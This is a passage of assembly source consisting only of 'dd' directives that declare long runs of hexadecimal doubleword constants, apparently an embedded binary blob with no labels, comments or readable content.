3EDFCCD4h, 614B58h, 0AED00BBFh, 0E29BB00Dh dd 24FDEB03h, 0F063848Ah, 0E0073Ch, 0D374C042h, 60086921h dd 0BBA7EA07h, 90B20D83h, 9044F0C6h, 0AC450BFFh, 0C0480A5Ah dd 8C797E7Dh, 26012877h, 0A9353477h, 8FDCA678h, 68D528BEh dd 0E62402C8h, 0CE02E75Ch, 0D4906CF0h, 78189400h, 3B669BCDh dd 9AA02616h, 318A0F48h, 0D010A580h, 84001AF0h, 0C968627h dd 383D71Ch, 4066A788h, 0D0487ED4h, 0E60E0080h, 0D5D14652h dd 51800EAh, 0CF1AB9EDh, 493DFF11h, 0ABE7001Ch, 0B5F6AA80h dd 0F92A00B6h, 0B1303541h, 4B009E14h, 8E53E95h, 6187D9h dd 43BAB342h, 4CA58567h, 9E8E7000h, 25060153h, 9D041DBCh dd 0FFB5400Fh, 8B58DA3Bh, 0B1D47618h, 16882E0h, 0CB1B1FBAh dd 6EB7BD57h, 90929C41h, 0CFDFF0F5h, 28D93560h, 86F10002h dd 248E63C4h, 2713CB62h, 0E4C0FBBDh, 2C44B955h, 1782E9Ch dd 0DEF2151Bh, 28186401h, 7DBBF624h, 0A0959A0Ah, 2B00102Eh dd 0A6963874h, 82D00EAh, 0A1A741E1h, 5700DA48h, 0CA9FC522h dd 2CF14Ah, 8830B8ECh, 60458AEEh, 9D819305h, 90803B28h dd 3B9A57D6h, 378A6E30h, 0C40BCDh, 7081AA6Bh, 0E6024506h dd 0C889A20Ch, 0EAF4E308h, 80A87EA4h, 0DBE07BA7h, 7C00170Bh dd 8B98C935h, 0BC29275h, 2402F53Eh, 216E0860h, 791C2848h dd 0A27CA22Eh, 4F012C26h, 0EE683839h, 3113BC8h, 0E7E0067Eh dd 8F98EA47h, 9483ED4h, 0F7D1005Bh, 4F942F26h, 0F84E6E6h dd 5561F572h, 0A68CC052h, 58005EF6h, 0F4DB5117h, 90EE7Ah dd 1371F779h, 8174C61Eh dd 4700809Eh, 0F6032CC4h, 5DFB0356h, 9B8549A1h, 0E286E9B8h dd 8C07A290h, 1816960Eh, 54F5B6A0h, 0F82001Fh, 56D3EBADh dd 6B7EB731h, 84F9A91Ch, 0FF9E7480h, 7250EEEh, 6E720C18h dd 697CE0DAh, 5B271065h, 1428785Ah, 80E44F4Bh, 98C19660h dd 7006B05h, 7781A2D3h, 9050C28Fh, 39EF001Fh, 481666B8h dd 2703D4FFh, 88B9B46Dh, 1289E9Bh, 472FB72Eh, 809C78F2h dd 95517960h, 0F1FD72h, 0EAC8B409h, 8DB5777Ah, 0D29EA51Fh dd 373A20C0h, 3CF8D331h, 7C588183h, 80F6D81Eh, 22790FC0h dd 700E12D9h, 19CBB71h, 861A0AACh, 417A54F5h, 0B7988A5Ch dd 0E509CC4Eh, 25ED0100h, 0B84BC32Eh, 163C0035h, 4E7DF1FFh dd 0B752BA2h, 0FA004977h, 6F152AB3h, 4C95BCACh, 43011CCDh dd 0DBC23830h, 79DA7093h, 0FE74F409h, 0B1604017h, 34A903BEh dd 0FAA6A1F7h, 5C42F8C0h, 0E0965000h, 792FE8C3h, 0CA840028h dd 65065BD2h, 75026959h, 4A9C9B95h, 5E286A5Ah, 0D59F0048h dd 0F976DBAEh, 0AC434500h, 2EF38CE3h, 0D83B000Ch, 2C6C491Fh dd 294C4A26h, 0E685C80h, 0C307622Fh, 81F2051Ah, 90349A5Eh dd 51A32693h, 3CD00042h, 1387AC30h, 0EBB06907h, 6E10FA52h dd 579A8Ch, 793E0EEDh, 0B94AB188h, 5141B00h, 9F90DA13h dd 0C4812FA0h, 63696C01h, 4FD5F80Fh, 0BDFDDC00h, 0C7830B82h dd 444FC4Bh, 0A9CF6732h, 0E838A0F7h, 0B1C5AF00h, 45975AD0h dd 8D691E49h, 2E73C359h, 68D07C48h, 5F0261B8h, 0C823C164h dd 0FD18C880h, 0D7CE4C75h, 0CF5E3F73h, 1C0EB94Ch, 1AE08B7Ch dd 0E1174BC9h, 4920F600h, 3188893Eh, 0F1162C4Dh, 504A9824h dd 0B8039A76h, 77CE7E73h, 0DA84B03Bh, 7F9859h, 0B6834061h dd 0E59B45E4h, 29288106h, 11F5ACh, 0B23A237Ch, 2FA48D08h dd 71967301h, 2E0629C1h, 58608870h, 0F324F03Ah, 7CA70B58h dd 0D64DFCE0h, 78CF251Dh, 0E06DFC0h, 4DEF621h, 0E9398483h dd 0BCAC61h, 303E6A05h, 3E7FF24h, 0B1C05B3Bh, 492CA981h dd 27050C9Ah, 80E498D2h, 0A6F30114h, 0B79D9347h, 0A3612040h dd 41597300h, 89D62221h, 5081E124h, 72C979B9h, 0EEC0709Ah dd 0B3BE7807h, 0C3501243h, 0B0145D63h, 0F64825FCh, 4C2E1880h dd 5A012317h, 0FDE3CD1Ch, 23200296h, 2D0E0A14h, 8E50B292h dd 89A0B52Ch, 1985ED82h, 1F19300h, 0FBABEB6Eh, 2D400063h dd 385E6AB8h, 0F07372B0h, 88C4AAE0h, 8CB09311h, 5DD61F53h dd 0C73B8457h, 0FE11401Fh, 161ACBF0h, 458507h, 10F93C9Bh dd 33001C90h, 5A9B78EFh, 27749Ch, 2A1A4C9Ah, 0B54F19D8h dd 31C5F003h, 88603825h, 0B2D535Ch, 3382E83Dh, 4700ECF0h dd 0FD6C04B3h, 24108541h, 3A45A02h, 7BA0ADE1h, 84A9B6E8h dd 3DC06201h, 0E4284EFEh, 0FD1A60h, 8D8B3B7Ah, 0CFFFDC35h dd 34984398h, 22FE7516h, 693087h, 38F41CF8h, 61821606h dd 95AC004Ch, 18FEA00Ch, 84248801h, 0D9EA93D0h, 12F4FCCh dd 0D10F9E3Bh, 54CF72DFh, 23188290h, 48DA0D20h, 0E2B8003Ch dd 5C4CEDBEh, 0C8A8A083h, 7401BA31h, 2D0D6719h, 33C44D45h dd 92093022h, 70C93E20h, 91E44018h, 7EB1E610h, 20BE00FDh dd 350BC49Dh, 0B0007658h, 0A3F99141h, 367CBADh, 0C0A7D071h dd 0F4F0B8B9h, 7949A6A9h, 41B12DB4h, 0F8317E78h, 4C78093Fh dd 30944F2h, 0BE40E2h, 90E136C0h, 88664F2Ch, 4A241E3Ch dd 0E31C1FD4h, 4134AA98h, 134713Bh, 438BB78h, 604C50D4h dd 0A008130h, 9A5CD15Ah, 349C5A2h, 51B6F5D2h, 0E9802DDh dd 800CB403h, 11E1FF73h, 0C9AA00DEh, 0EA859D4Ch, 22005387h dd 0BC849702h, 0A959D0h, 0E234BE6Fh, 0A682D62Ch, 8E026606h dd 3A405053h, 83AE3064h, 521097Bh, 375D8480h, 0F23D75ADh dd 9B0077F5h, 5C14B8D0h, 58900B30h, 0DE00CC48h, 18FA8685h dd 7400E013h, 0F4BC77B3h, 41AC767h, 2711CB0Bh, 0A615C0D1h dd 0DA17EFBDh, 0ACB0ACE8h, 33CE2C54h, 0D16B04A9h, 59CA9CBh dd 509A47Eh, 49A6AC00h, 0EE3CC5h, 4FD89A04h, 0B67638A2h dd 0FD13B17h, 0CD69A040h, 90338858h, 3B59840h, 72BA2E0Eh dd 0F5973DB5h, 5E7F80C6h, 3F002948h, 9379CAABh, 1C729E0Eh dd 9FA7059Ch, 7B630157h, 303FC73Ah, 7D13AADCh, 3080AD8Dh dd 0FDA88A6h, 8F9759D6h, 29C08732h, 9FE804E4h, 9CF580h dd 1F8D15FBh, 0C4F1B067h, 60BEAA00h, 61166840h, 0D2AF0F0Ah dd 0C05C89A1h, 6AD54CC5h, 92E8998Ch, 38371D01h, 366CD230h dd 301E6Bh, 73D771B1h, 0A507F8D5h, 0DC319E2Eh, 0A8B8E913h dd 0BD3622BDh, 487C5490h, 18EB084Ch, 0E1837B1h, 8DDC18DBh dd 44A3505Fh, 81F8DE00h, 0C05848D1h, 6ABE0590h, 803617F3h dd 3DB796B6h, 0E3809CB1h, 0D1F0EFBCh, 498B2E4h, 5B61D5FAh dd 16CCAB4h, 0ACDBCF31h, 9060DED0h, 0E9990058h, 0A33E8FEBh dd 9A121C91h, 54B02674h, 1EEF7147h, 0CBCA23A4h, 18E489D9h dd 758DEE2h, 0BA9C080h, 3B05F77h, 6D06B87Dh, 19F168FCh dd 4DD824DCh, 0DB098CB2h, 0A33D3389h, 0A0FB992Ch, 58DD319h dd 0BD239804h, 0FA8C000Bh, 0A90F0DC6h, 43687512h, 0B52C64E2h dd 85E21DA8h, 0B8A6F1F0h, 0C7170314h, 0E42F2Ah, 0D1593A71h dd 0D61A7121h, 0B2575B77h, 53AA0C88h, 14E38916h, 905C27BAh dd 0B118644Ch, 5B8F2930h, 0E6FD7B03h, 0E7CF713Ch, 31104057h dd 503F8A96h, 7CFEFB37h, 68050080h, 7F0A11BBh, 0E20BC6B2h dd 0B1176E1Eh, 90DEF14h, 0E89C30ACh, 78B83A02h, 68EC3FC8h dd 2E9EC3ACh, 0BCFDA48h, 6879761Dh, 0E0838262h, 53CF58h dd 74F0F573h, 31380A9h, 59E22D01h, 39EDA472h, 5445DC4h dd 0CE6611Dh, 0FF7428A1h, 4BA1DB64h, 0E843E970h, 0C6820A05h dd 9C545918h, 8C663C68h, 993B5F2Ch, 7710C061h, 141C6343h dd 96A06E59h, 48C054E2h, 8626774Dh, 9F007EE3h, 0C5749DB9h dd 0F8EB00D7h, 2CDCB8CFh, 0EC91B14Ch, 0F2B9E501h, 0D9306B51h dd 5C52F0D6h, 5B2D9572h, 0F24AC880h, 0B0327C6h, 9F511BEBh dd 948EF028h, 21D30011h, 7939258Ah, 0BF3B434Bh, 1045A477h dd 9E680207h, 67556180h, 0E6A101D5h, 80D63CBAh, 0A0017FE9h dd 9E4CE008h, 9D97070h, 1938A91Ch, 0F5077489h, 1196E6D1h dd 2E50951Fh, 22D29AC0h, 198BFh, 64EBB029h, 0E8A2770Ch dd 0DB8DE107h, 90426747h, 0C4C4C070h, 0A6AD8896h, 14DECB00h dd 7A6C1321h, 0E4370B0Dh, 582A39E8h, 0C00516C7h, 0FAB1F0D8h dd 278D4113h, 0C8CE084Bh, 7FE6F60h, 7DF1AE6Ah, 518C0EAh dd 9807A5D9h, 48643F15h, 2CAC801Bh, 383E2642h, 670F81E9h dd 0B4C07075h, 4DD51519h, 97BD4100h, 0EBAC8A02h, 3D5DF663h dd 463D790Ch, 186FC3AEh, 0D4FC3801h, 80F61800h, 2F40967Eh dd 7779004Eh, 0BDEEAFCEh, 98012C1Ch, 9F83668Bh, 0B02BA592h dd 0F50E7FA3h, 601B8565h, 21CC6E3Eh, 92BD00F0h, 0B5CA6A6Dh dd 24027DE7h, 2D7E23FAh, 160F874h, 0CE9291DDh, 202EFCA6h dd 0C795A9A3h, 0F377900h, 28419709h, 0A0C97020h, 7E12010Dh dd 90404258h, 7A9FCB23h, 4D11C720h, 0EBF310F5h, 9200AB19h dd 0CEE39D0Fh, 0C030398Fh, 0FFA2C149h, 247CD5ACh, 5A9DE100h dd 81A62997h, 4C01F319h, 0DFD5C4F4h, 5882FCBCh, 43DCFBE4h dd 0A687C80Ch, 888CB10Ch, 9900B06Eh, 0B15B9F40h, 1CE9179Eh dd 0D4D0026h, 319B56D5h, 3E431107h, 7A20B077h, 0B62C28h dd 18F97DEBh, 53D64C9Ch dd 0D0345A1Fh, 8284EFCBh, 0F6E402C8h, 0C95D05B4h, 0CF8D0010h dd 0DF43A15Ah, 951D5C00h, 9A181737h, 0BF060087h, 0D891EAEDh dd 444EE2C3h, 0B8E934C3h, 9586374h, 0EB6622F4h, 7BD0EC40h dd 5A78A049h, 56D11C01h, 4C20E925h, 0CA4CB3h, 527DD606h dd 0FD4B217Ch, 0BF7B1801h, 0A064A104h, 0F4AA0780h, 0A899B8B7h dd 9AE0C291h, 0E0003AF1h, 0B6B32E80h, 0E2426A38h, 9ACB2F7h dd 0F8E3154Bh, 1300749Ch, 8D174BC2h, 92B6E409h, 5EB70C00h dd 21D19E42h, 323EED00h, 3DD6A236h, 0F58B0172h, 829A5AA5h dd 1A982CF1h, 51694C68h, 2890698Ch, 0B157BF5Ah, 0D0693144h dd 3B43E1h, 0B3B5BD5Ch, 0C21699F2h, 0A408C626h, 537B96C3h dd 0C68C28DCh, 2F03D0F2h, 27257E3Fh, 2E5DD080h, 1D563D63h dd 223769Ch, 3C069C41h, 90257640h, 3440B900h, 0F84041Dh dd 327B1CC2h, 980AC0B1h, 0E361B80Ch, 0C009EE00h, 0D3CC946Ah dd 0BD1218F5h, 75C11962h, 0D634AC0Dh, 0C0EE600Ch, 55A7Dh dd 0CD53E4A7h, 0C132AE71h, 3612D50Ch, 86AC690Bh, 0A9441B30h dd 3806135h, 97F96A22h, 47F0070Ch, 2E00299Dh, 16A16FACh dd 0A75FDFh, 0DC81A821h, 0C0667C05h, 0D67ABC00h, 0B8686C1Eh dd 75EC0032h, 8A581496h, 0DA726018h, 4200C5E6h, 0CEC20D45h dd 67BD62h, 8308858Fh, 0A158767Ch, 2E99A339h, 44005266h dd 73A6FA86h, 0D1C3008Bh, 926FCE26h, 7700A8AEh, 983E1A97h dd 0C15C78h, 57E74FC3h, 0B08349EDh, 4EBA5207h, 8920EEEAh dd 981CB6h, 1B703818h, 28B2ADB9h, 63419C0h, 0C94958h, 0FE3FD82Dh dd 8AE11003h, 8FCBAB01h, 0EF2B903Ah, 88149E10h, 11E53331h dd 4B20DE34h, 0B6A30035h, 83A878BBh, 0FE6CEF7h, 0EBF2880Ah dd 833E9C6Eh, 472DF582h, 385FF874h, 49041CC0h, 3D9187E0h dd 1C2100A2h, 830289C5h, 0B5A3C89Ah, 52CC8031h, 2ADC9E54h dd 0EE0A7F8h, 0EBF52A2Dh, 229DA5A0h, 1101297Dh, 3F20281Ch dd 69EC5383h, 87590305h, 0F4D3991Bh, 75A430EFh, 0A01E9E58h dd 0AB806896h, 0DCD8E42Ch, 0B3E8FCh, 2F0E8E1Ch, 243C6ACCh dd 189E7C03h, 0C8B00349h, 0FD1C097h, 7780DF37h, 0AF8D1360h dd 0CA0C573Dh, 6091C744h, 706E005Ch, 28865AC4h, 5000A6A8h dd 6BEF6C76h, 5F88F2h, 62909A98h, 0E1C5A2FDh, 0ED17D00h dd 34AFB393h, 47D4006Eh, 524E119Bh, 1800F29Ch, 54B8EC1Ch dd 2A45E0h, 5A045EBEh, 97581E3Ah, 711CA200h, 0CDC895E6h dd 2EE13A39h, 0E2BE9F03h, 50C77E03h, 5A461927h, 8E589075h dd 776902FEh, 4317BCBDh, 26BAB848h, 1D0100E6h, 7E9F82C3h dd 3E002262h, 0D8BBFCE4h, 0FE589848h, 8A943C2Bh, 301612h dd 52CEB474h, 67004D0Fh, 0C1E8AAB8h, 48EE2C7Fh, 0AB1F5C87h dd 2BF60081h, 0D53703B5h, 19C77800h, 15281389h, 0B28A016Ah dd 0B95FB440h, 68EC201Bh, 0DD041C00h, 8B696B3h, 0A14B0317h dd 829EFB81h, 7B9503FDh, 3100F226h, 77F9D92Fh, 9ED6A5h dd 0D0D20CB8h, 5F66FB22h, 4E1E011Eh, 0C7E60E43h, 0C3B0B7E8h dd 28F17ED5h, 48805B6Fh, 7DC7F883h, 0BF2320F7h, 609216C4h dd 15F57500h, 939FF94Dh, 8C050798h, 0A3D918B3h, 871FF8h dd 0A3AB0110h, 60C0E75h, 19F3257Ah, 0C8D00726h, 29538B96h dd 17A83400h, 7B0B7F9Bh, 1139A7h, 66E631F8h, 3292E6BDh dd 99980FC6h, 48241466h, 6200605Eh, 322C5A64h, 0A6EE006Eh dd 47D9EDC6h, 889A5999h, 0A49A0C00h, 3F27B315h, 537C58h dd 0F2FCD52Bh, 877A7D76h, 0B1255F00h, 644E21EEh, 7700033h dd 5255F366h, 0A000A87Fh, 4A750D0Bh, 0BD61D6h, 89D84780h dd 0F9A4C0E0h, 4F012A00h, 0AEE41EFCh, 0DB0CBh, 0C8786A9Dh dd 5BDDC51Bh, 6DB79500h, 0B8353F17h, 74064C67h, 13CF7B00h dd 9A460C8Eh, 0D65C8400h, 4325C342h, 6E4003Fh, 82A24C16h dd 0AEFEA424h, 48F2700Fh, 0C0F74028h, 11373Bh, 0C15F046h dd 0D9E3E08Fh, 0CCCB1F01h, 941ECDC3h, 0B0F9BEC8h, 0C29C0B18h dd 0B008EC5h, 0CC77F24Fh, 0EEAEC10Eh, 0B8077210h, 20307BF8h dd 72E4643Ch, 7C85009Ch, 4599114Eh, 0A51CFA67h, 0C881DE26h dd 633D2230h, 1F716F4h, 483AAF9Fh, 4015188Eh, 825EC5D8h dd 0C1004273h, 22FADF1Fh, 9A7EBEh, 34185888h, 79B3F4ECh dd 2DF0CF1Eh, 908C7200h, 2A10D2h, 0C3A96AF7h, 1D44065Bh dd 9287DB09h, 0FA40189h, 8D101BE5h, 3C00A479h, 9CD653FCh dd 8596EAh, 0EDCDC16Fh, 0BC4C8E89h, 3F03F098h, 880898C9h dd 0AF349040h, 0AB7100F3h, 90B810CDh, 3F77A17Ch, 62F9BA1Ch dd 0B2C6E0C1h, 402089FCh, 683A00A9h, 59D41CEh, 0FD03DF6Ch dd 647E0AA4h, 0C818A83Eh, 5D4007DAh, 8088D6ABh, 0B5EA7280h dd 51101E01h, 0B6A9B74Fh, 6803B0E7h, 0D66E306Ch, 0A8CB1D98h dd 0CF02DC98h, 0DA57B8C3h, 81C4C87Eh, 0D0A51683h, 418C5E8Eh dd 16E625E2h, 0CCB9EDD9h, 9E02489Dh, 19119388h, 0BED4E006h dd 41795Dh, 340CA96Fh, 3F5BCE86h, 0BA630101h, 900D213Bh dd 0A63DD980h, 8D662FCh, 72FF9900h, 129E386Ah, 4DD275D0h dd 0F01FC4ACh, 146C16h, 4A570614h, 0BD3AA4B2h, 223D80E3h dd 0FB97E67Eh, 0D7D930FFh, 3457A9D8h, 0C77984h, 0E418B4BCh dd 30150358h, 4009CB0h, 1311A6AEh, 0A065593h, 6F27F346h dd 227A00F4h, 0ABA9FAC4h, 0F5E7E8F3h, 14E83A12h, 8E953000h dd 242E1252h, 3BBCEFF1h, 6A4E00F9h, 3E828B8h, 830BC41Ch dd 3C0FF49h, 0A85C4214h, 0FAE0A2h, 93793B26h, 0ED14D68Ch dd 0C258AA0Ch, 12DF788Ah, 20F5ECB5h, 1038A830h, 7D832F00h dd 1DB6BEA4h, 42DF3E55h, 0D47878A5h, 2CB8C20Eh, 0C843D7D7h dd 0D034CBE0h, 0E8FCA0h, 50C29FFEh, 3ADB56Ah, 636081EEh dd 1A108A28h, 629602DAh, 5F3CE055h, 7B662EE0h, 722E3107h dd 0B80FABCh, 497AD57h, 50098688h, 0B01081F2h, 0E60FF45Eh dd 3A9280A0h, 25DC3Fh, 873130ECh, 1D98E167h, 0C49171C7h dd 801F560Ah, 30838D24h, 0C10CEA00h, 0D95FB7D1h, 44C60245h dd 0B45AA539h, 3C684C42h, 5F0081A0h, 1048C537h, 5C7619h dd 362EF0EFh, 0C1E0FE7Ch, 0C3793F00h, 21B5BD26h, 0D8400295h dd 491001CEh, 8C44E864h, 230084D0h, 575F031Dh, 0EFF3935h dd 2E176CBh, 0EE440C03h, 43CDF90h, 1B001CB0h, 0A25EE0C2h dd 0F36C40h, 34DF7ACh, 9A0E68CCh, 6EAA8A00h, 3332AE29h dd 0CF950309h, 60896D46h, 64342AB8h, 6EF979C0h, 0C066FF19h dd 1D855958h, 0F109D59Bh, 9A719272h, 0FD48682Ch, 94BC1324h dd 13101F80h, 9600EAC1h, 0A02645D4h, 0C6B058h, 20566407h dd 0BBA162FFh, 0FE9808EEh, 0A97F9C00h, 8E37EEB2h, 80B802B4h dd 95D6464Ch, 79FA8460h, 0F0523205h, 84C0608Dh, 15452Fh dd 1B89DF8Fh, 3BFFEA95h, 0E6CDC012h, 0DE0C7000h, 1A1217Fh dd 5DB17959h, 0D8F3EFFBh, 1E00C634h, 18C5D151h, 41DBC7h dd 0AB772BB5h, 0AFC2AE4Ah, 7AB6A600h, 0F83D284h, 71F00B32h dd 5C90CAB0h, 0EC00AEB4h, 86481A06h, 7E47EA0h, 0E060E522h dd 7C808E40h, 19FE3EA2h, 96D80900h, 32726EB3h, 0F449090Dh dd 0EC004E23h, 3482CCF5h, 0A726EA79h, 858F68B1h, 2228096h dd 412177h, 0C4CEC135h, 0DC79E836h, 8F921703h, 5984612h dd 5BBB930h, 0BADF82FDh, 32A558E0h, 0D082B402h, 8040DC7Ch dd 3CEF478Ch, 1E90139h, 8666461Ch, 540EE4AEh, 85CD4D05h dd 2E8552A5h dd 0ED363880h, 402100FDh, 98187696h, 482C045Ah, 0C000BBF5h dd 0BE1C74D1h, 6FF0F73Eh, 0B92238BFh, 0A1322781h, 0C907A87Dh dd 0CA040CFh, 201A041h, 2F3481F7h, 4EFC4408h, 8296006Eh dd 8CD54C9Eh, 0F4A8A6B7h, 0EF12527Ah, 0D80F486Ch, 0D26940E6h dd 666A62h, 0C2742C55h, 86F415F6h, 0C6485A00h, 0BF288BFFh dd 1A8C006Ah, 0CD76EB34h, 3203AD59h, 869EE70h, 1174E0A6h dd 12663F1Eh, 8D53D581h, 380F65AFh, 804F3934h, 4C550C3Ah dd 3FD684CCh, 628E174Ah, 471F1085h, 715BC5C9h, 0E8F0B231h dd 0BD007ED5h, 0A9DD1713h, 7A449945h, 0E62B125Eh, 0A2340047h dd 0D9B6E974h, 1100B498h, 2310120Eh, 0A9B132h, 7CB350FBh dd 0FE06BFE9h, 902E8B40h, 0C17E0138h, 35FC3715h, 0C48AF49Dh dd 3883CE00h, 0D0DE762Ah, 7B13038Dh, 1AB1EE6Dh, 0A6B4B900h dd 0EB4FE8B8h, 0FBE43C9Bh, 5E80057Dh, 0C01EAA44h, 2AB743B4h dd 10DE7807h, 9AE7FA77h, 0D1A15C70h, 0DD8105AFh, 0C01D2BC2h dd 545AC64Bh, 9199C90Ah, 440EE416h, 3D55C3E7h, 79A9E8C7h dd 543F4867h, 0DE03BF00h, 85DA2AC4h, 2BB0CE5Eh, 820900EFh dd 45404C2Ch, 70B03758h, 89A9000h, 265C33EBh, 49BF836h dd 66B81B43h, 0AB30802Ch, 0AE3A3042h, 1128C8B9h, 932C0D8Eh dd 4C4E4398h, 999701EDh, 0F5FD7C62h, 0FA2BC0E0h, 3B36F20Fh dd 18B3A086h, 0FE0989h, 7FA8BD88h, 154B0451h, 0CDD58B01h dd 954E909Bh, 0E4AD7C20h, 288A1D96h, 755583ABh, 0D8C0915Ch dd 83070E2Eh, 0F86B252Dh, 0CCD482B9h, 1CD324B0h, 29B76C00h dd 34BCBh, 0F09AC856h, 829F49D0h, 682148h, 5A643E94h, 4B6F6ACEh dd 0B118146Bh, 5065B806h, 0BF04B08Fh, 31FCA53Fh, 2EC5E489h dd 647A8001h, 650721B0h, 66FA8642h, 0EB606D70h, 1FC7599h dd 2BAD8D7Eh, 87C5BE20h, 6AC3DD8h, 70C3F940h, 0C1257FF3h dd 0E60383B8h, 5DC86436h, 0A319AFE4h, 0F8890DA8h, 37601421h dd 4B9F0089h, 24AA1050h, 6726BDABh, 0F6032499h, 90E22AA9h dd 5D45C2CCh, 20FC425h, 9341FA04h, 0DC09750Dh, 9A00441Eh dd 21CB9784h, 1299A301h, 1E7B3C1Ch, 0EFCC8640h, 0A0035069h dd 20BDEC72h, 843A8082h, 0CA4A007Ch, 0FC061276h, 3B6B1D99h dd 46620039h, 55AE139h, 0D6B1FBB0h, 0DC0480D3h, 971649D7h dd 7A097357h, 38C900Ah, 6DCE002Eh, 5ABB3171h, 580938DFh dd 8062A2F6h, 5C2ACD70h, 877E7Ah, 7FD2E769h, 0A99F12F4h dd 0AE91D00h, 0BF83F64Eh, 44694AB5h, 1847818h, 4AE4BE25h dd 0E781D8CFh, 2082285Ah, 0EABAECD5h, 564C0194h, 522ED9BCh dd 0EEFCE00Ch, 9A326E00h, 33CAD58Ch, 663A0025h, 0E7E37FCEh dd 0B60EDCF1h, 723F911Ch, 40A71888h, 1A009AB2h, 0A37A7E98h dd 60F7153Dh, 9EE64021h, 2700BABEh, 8C54E17Bh, 1F899416h dd 0A760DEh, 6210A22Bh, 0FDF6237Fh, 0B2BEE305h, 74C0DC06h dd 4846A07Eh, 3E00B130h, 0ECF4E870h, 520788A8h, 0E2BFE07Ch dd 2F919360h, 8EA631B2h, 805B59F4h, 0EB19FDE8h, 890FB4h dd 0E53A82F2h, 49D5BB7Ch, 5A6E1809h, 0C2E801E0h, 9C2897D0h dd 22262C00h, 9D7F19DBh, 555D1300h, 2EF6C6A7h, 768A00B2h dd 0F90D35ABh, 8E48B62Ah, 143C1C86h, 98C02000h, 449C84h dd 0C61A081Ch, 4D938A9Dh, 0BD254Ch, 6558A9D3h, 2DD7B54Bh dd 3C00C6CAh, 92DFACC3h, 0AD3B000h, 0EC2AE643h, 383A4CCCh dd 0F2EE9801h, 0BCFEB5EBh, 3F63C30h, 0FF7C61D3h, 5805A0ABh dd 0F7690354h, 756EB65h, 456749C0h, 9888BB01h, 1304F2E6h dd 0F180D2D1h, 0C6FB072Ch, 3301B057h, 18A80343h, 9ED40A38h dd 4D70E08h, 0F980CA85h, 0B8CE414Ah, 52203302h, 5F4D1348h dd 0B64BF440h, 64D60528h, 8896451Ch, 0DFF2FE80h, 0BE05FF8h dd 6C750E80h, 0BB996800h, 7A7311B8h, 0C824F200h, 0A30E48D1h dd 0D43C0FBAh, 9F20262Dh, 0B71E12DEh, 131DE4F0h, 3ED7DBh dd 9A7BC94Fh, 15A22BCh, 0E8D8B52Fh, 0F8C54963h, 0E000374Ah dd 2115C62Ch, 6702BCh, 42FF6A1Ch, 83BAEC01h, 0D9F4D70Eh dd 98CD6039h, 0A4D612h, 1BEBE084h, 0F517A73Ah, 0F037A900h dd 0FE99083Dh, 0D4BC0FEDh, 0B5215DFCh, 348EB720h, 0EC7814B8h dd 0D2946000h, 2386E9C3h, 45500A1Bh, 1DDC2C27h, 8318EC1Eh dd 29EA36C2h, 0E1043801h, 2C133AB0h, 8A5091h, 1AD82140h dd 4C75EBh, 0C39ADFABh, 0FEECF989h, 0F704D300h, 852ABA38h dd 5A2284Ch, 13010AFEh, 874C1260h, 0D0A84433h, 532BD9E3h dd 28F65200h, 1C45708Ah, 4C38C029h, 75449DADh, 100D6000h dd 9C1D8928h, 88B80045h, 9DCF7C6Fh, 90EE0323h, 87AEE09h dd 0D05007E5h, 80719432h, 0A04D0EF8h, 0FFDF0184h, 0D8805DA9h dd 0BDE6F9A5h, 7CDBBC11h, 2A00EFF0h, 0C5A7A8E7h, 3C2C42h dd 0DB8CA367h, 51F50114h, 595DB10Fh, 789827BEh, 1AB09B87h dd 3C4EF0F3h, 0A6BA8CB0h, 44AD2F87h, 87163730h, 83E86013h dd 0BE024DFAh, 5AD96350h, 45CFE080h, 1A840046h, 83E9F1D2h dd 6312272Ch, 0B500A808h, 0AE46987Bh, 2E1EE073h, 0A01FC1h dd 61A2A956h, 0EF3E3399h, 0C6E081F2h, 62EEE5E1h, 7C9C2E4h dd 889DEAB8h, 4270F084h, 5500B3A1h, 0DFBBD038h, 3532887h dd 0FF93E247h, 1DF8113Fh, 52004FA1h, 68B1FE76h, 0D9B739h dd 5810641Ah, 0A5CF9120h, 19293A00h, 5DF4EAF3h, 887560h dd 54DA75A6h, 6A858AAEh, 0FC6D8B07h, 46C09372h, 22C80EBh dd 2AB4BCCDh, 9940A981h, 470007C0h, 0BE7E0D63h, 0C0749394h dd 31A72831h, 0AF031ECAh, 9F1D5E4h, 0AB4DE0A5h, 57E70C5h dd 0CB8B93E6h, 0E2E04071h, 0C64C84EBh, 6FFAE01Eh, 2019B500h dd 146014F6h, 0A0DFF70Fh, 805A981Eh, 6A412299h, 370056B4h dd 8F032D8Dh, 0CB0AFEh, 2EB6521Ch, 0F0A5963Ah, 0B1194F13h dd 0EFF49C00h, 0E62A29h, 1E518D2Dh, 0AA023A3Bh, 94071C90h dd 2B60DFA5h, 199F3510h, 0CD8D000Fh, 0F25A9ABBh, 0FB00A66Eh dd 0BA72F017h, 2ED2F7h, 0B17B9CDBh, 2808385Eh, 91B3E400h dd 0DF3A4E13h, 4BA10004h, 0A57D6FC6h, 98140E97h, 8C4161h dd 121A32D6h, 0A6EF3Eh, 0D11B02C1h, 4F5B5778h, 189C2F0Ch dd 38453871h, 6C802073h, 8E222DEBh, 5005104h, 12725C10h dd 99160Ch, 396DD503h, 3DD9AC7Eh, 56A58300h, 17C2F9EFh dd 7F5F03F6h, 3A2DFAA8h, 0C14F04E0h, 0A601A998h, 45C979F3h dd 0B9D39D07h, 0BEC05808h, 5C4300DAh, 6BDF835Bh, 12075044h dd 51D7BB7Bh, 80FFF875h, 0E03A064Eh, 0EB878901h, 1C4D9EEEh dd 57E1AC41h, 54803412h, 32976FC0h, 0F81E0107h, 25F155FAh dd 66F074BBh, 13570063h, 0E19ED3F9h, 0D5A204DBh, 9235E0C0h dd 72547900h, 0E040F616h, 0D70F00B9h, 0F3B8D93Fh, 620A4E7Ch dd 0FCC0B553h, 0E808003Bh, 0D9E4A5C4h, 0C17F3725h, 3E6AF018h dd 7A00144Eh, 9FC4C2BAh, 0EEE8F8h, 234C8B70h, 6FBDC9D9h dd 0B5FFB8C0h, 0CBF10Bh, 4C718F20h, 0DD0D1A6Ah, 7ADFA806h dd 7EBBD4h, 77014349h, 4E072519h, 0C63CEB00h, 0D6643A36h dd 8CB73F8Bh, 14ECFDF8h, 18AC0104h, 2D06C935h, 0A3A04067h dd 7E004E2Eh, 0FBD0AF23h, 970D7Dh, 8217D363h, 4A2C7724h dd 5C4D1D73h, 99B10078h, 109AD8F7h, 2063006Ch, 0D4F6816Bh dd 71071DB6h, 585097D9h, 7AA11150h, 1A890725h, 909AF8DCh dd 0A9735D55h, 694CEF00h, 0D68D72D0h, 0DE1E002Eh, 0A7032053h dd 1F0FAF70h dd 0E166E22Ch, 